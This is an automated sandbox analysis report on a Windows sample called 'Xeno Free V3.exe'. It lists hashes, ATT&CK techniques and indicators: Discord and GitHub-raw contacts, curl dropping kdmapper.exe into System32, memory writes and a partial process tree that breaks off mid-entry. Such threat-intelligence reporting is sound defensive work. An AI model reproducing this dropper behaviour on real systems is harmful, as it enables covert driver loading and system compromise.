4d1946b19705f63006d8d3da219beee5f82c1c24a8349d565e9369f8e23bfdbc

Analysis

max time kernel
600s
max time network
597s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 10:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Xeno Free V3.exe
Size 638KB
Sample260727-ml3gesdk2y
SHA256 4d1946b19705f63006d8d3da219beee5f82c1c24a8349d565e9369f8e23bfdbc
MD5 3029f3829ac010e1041c6859176eb1fb
SHA1 a7af533475fae0e3ef82868deb480fe5933cea62
SHA512 5f72d177613f996abe63dd9c03001abc1d3efbacd57de81b40ff64ad5df8e2b904cef07c9df5eba9a5be2d0323d20b4b05e23c0aa0e21fc92d85e205b171d9cd
SSDEEP 12288:y/mAwSrrz3uyrXSTViVn/dhyC6YLK2eood:QmAHr7I5iVn/dh+YW2I
TLSH
T130D4AF40F2E484B5D17B613899B6EB1BEB377858073096CF73D484682FE76E08AB5712
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
124	3100	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
5336	kdmapper.exe

Loads dropped DLL 1 IoCs

pid	Process
1564	msedge.exe

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
97	discord.com
124	raw.githubusercontent.com
1	raw.githubusercontent.com
86	discord.com
87	discord.com
89	discord.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\kdmapper.exe	curl.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1759750806\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1961777061\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1397190798\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2058467899\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1719558379\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2142465658\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1038449024\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_242863546\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1017007854\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1719558379\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2142465658\regex_patterns.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1719558379\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1820304871\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2058467899\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1719558379\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1038449024\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_562604271\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1759750806\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_2032043051\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1564_1017007854\_metadata\verified_contents.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4308	cmd.exe
2972	cmd.exe
4640	cmd.exe
6352	cmd.exe
6424	cmd.exe
6436	cmd.exe
972	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4084	msedge.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134296221019470051"	msedge.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{7DB11C92-96E2-4377-A5FF-A43EB35C4044}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{61B49F6B-F02F-41B5-A958-16587D66A9D4}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5336	kdmapper.exe
5336	kdmapper.exe
5356	msedge.exe
5356	msedge.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe
1564	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1564	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 972	3116	Xeno Free V3.exe	90
PID 3116 wrote to memory of 1564	3116	Xeno Free V3.exe	91
PID 3116 wrote to memory of 1116	3116	Xeno Free V3.exe	92
PID 1564 wrote to memory of 2232	1564	msedge.exe	93
PID 1564 wrote to memory of 2052	1564	msedge.exe	94
PID 1564 wrote to memory of 4084	1564	msedge.exe	95
PID 1564 wrote to memory of 2052	1564	msedge.exe	94
PID 1564 wrote to memory of 2052	1564	msedge.exe	94
PID 1564 wrote to memory of 3864	1564	msedge.exe	96
PID 1564 wrote to memory of 3864	1564	msedge.exe	96
PID 1564 wrote to memory of 3836	1564	msedge.exe	97
PID 1564 wrote to memory of 3836	1564	msedge.exe	97
PID 1564 wrote to memory of 3836	1564	msedge.exe	97
PID 1564 wrote to memory of 1080	1564	msedge.exe	98
PID 1564 wrote to memory of 1080	1564	msedge.exe	98
PID 1564 wrote to memory of 1080	1564	msedge.exe	98
PID 1564 wrote to memory of 5876	1564	msedge.exe	100
PID 1564 wrote to memory of 5876	1564	msedge.exe	100
PID 1564 wrote to memory of 5876	1564	msedge.exe	100
PID 1564 wrote to memory of 4220	1564	msedge.exe	99
PID 1564 wrote to memory of 3052	1564	msedge.exe	101
PID 1564 wrote to memory of 4220	1564	msedge.exe	99
PID 1564 wrote to memory of 4220	1564	msedge.exe	99
PID 1564 wrote to memory of 3052	1564	msedge.exe	101
PID 1564 wrote to memory of 3052	1564	msedge.exe	101
PID 1564 wrote to memory of 1656	1564	msedge.exe	104
PID 1564 wrote to memory of 1656	1564	msedge.exe	104
PID 3116 wrote to memory of 4308	3116	Xeno Free V3.exe	105
PID 3116 wrote to memory of 2972	3116	Xeno Free V3.exe	106
PID 2972 wrote to memory of 4480	2972	cmd.exe	107
PID 1564 wrote to memory of 2172	1564	msedge.exe	108
PID 1564 wrote to memory of 2172	1564	msedge.exe	108
PID 1564 wrote to memory of 2172	1564	msedge.exe	108
PID 1564 wrote to memory of 4472	1564	msedge.exe	110
PID 3116 wrote to memory of 4640	3116	Xeno Free V3.exe	113
PID 4640 wrote to memory of 3100	4640	cmd.exe	114
PID 1564 wrote to memory of 4528	1564	msedge.exe	115
PID 1564 wrote to memory of 2580	1564	msedge.exe	116
PID 1564 wrote to memory of 4312	1564	msedge.exe	117
PID 1564 wrote to memory of 5908	1564	msedge.exe	118
PID 1564 wrote to memory of 4528	1564	msedge.exe	115
PID 1564 wrote to memory of 4864	1564	msedge.exe	119
PID 1564 wrote to memory of 2580	1564	msedge.exe	116
PID 1564 wrote to memory of 1168	1564	msedge.exe	120
PID 1564 wrote to memory of 5908	1564	msedge.exe	118
PID 1564 wrote to memory of 4864	1564	msedge.exe	119
PID 1564 wrote to memory of 1168	1564	msedge.exe	120
PID 1564 wrote to memory of 5696	1564	msedge.exe	121
PID 1564 wrote to memory of 5696	1564	msedge.exe	121
PID 1564 wrote to memory of 5072	1564	msedge.exe	122
PID 1564 wrote to memory of 5072	1564	msedge.exe	122
PID 3116 wrote to memory of 5336	3116	Xeno Free V3.exe	123
PID 1564 wrote to memory of 5372	1564	msedge.exe	124
PID 1564 wrote to memory of 5372	1564	msedge.exe	124
PID 1564 wrote to memory of 5372	1564	msedge.exe	124
PID 1564 wrote to memory of 5952	1564	msedge.exe	125
PID 1564 wrote to memory of 5952	1564	msedge.exe	125
PID 1564 wrote to memory of 5952	1564	msedge.exe	125
PID 3116 wrote to memory of 6352	3116	Xeno Free V3.exe	126
PID 3116 wrote to memory of 6424	3116	Xeno Free V3.exe	127
PID 3116 wrote to memory of 6436	3116	Xeno Free V3.exe	128
PID 1564 wrote to memory of 6688	1564	msedge.exe	130
PID 1564 wrote to memory of 6696	1564	msedge.exe	131
PID 1564 wrote to memory of 6704	1564	msedge.exe	132

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	116	curl/8.8.0
HTTP User-Agent header	124	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\Xeno Free V3.exe
"C:\Users\Admin\AppData\Local\Temp\Xeno Free V3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://guns.lol/xenoudd
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffd019cc188,0x7ffd019cc194,0x7ffd019cc1a0
    3⤵
    PID:2232
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1980,i,5983149490014904683,2725667819558623444,262144 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:2
    3⤵
    PID:2052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2168,i,16286632232457057315,15695659229169529348,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2648,i,3215420581200907611,12620397884855651515,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:13
    3⤵
    PID:3864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,13179529357745306199,4788887425999959745,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=3844 /prefetch:1
    3⤵
    PID:3836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3608,i,15856986794896140712,8844136316302734877,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:1
    3⤵
    PID:1080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4292,i,5596315415347924391,5039247125932004094,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:1
    3⤵
    PID:4220
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,4647669862995387352,5678410497139793093,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:9
    3⤵
    PID:5876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4448,i,5850977532173763966,2895541992913727194,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=4512 /prefetch:1
    3⤵
    PID:3052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,2733375070556490927,10217927593325909889,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
    3⤵
    PID:1656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5540,i,16888590139869410219,16691033466946595550,2097152 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:2172
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6188,i,8741079430958907965,2073740829358181982,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
    3⤵
    PID:6136
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6188,i,8741079430958907965,2073740829358181982,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
    3⤵
    PID:4472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,6068808954350091643,15083942846040957210,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
    3⤵
    PID:4528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5660,i,108620912312793281,8807241487824287857,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
    3⤵
    PID:2580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6184,i,3198293838392779237,15813583584727760098,524288 --field-trial-handle=2372,i,3522249050845772584,7796928631829060220,262144 --variations-seed-version --mojo-platform-channel-handle=6956 /prefetch:14
    3⤵
    - Modifies registry class
    PID:4312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
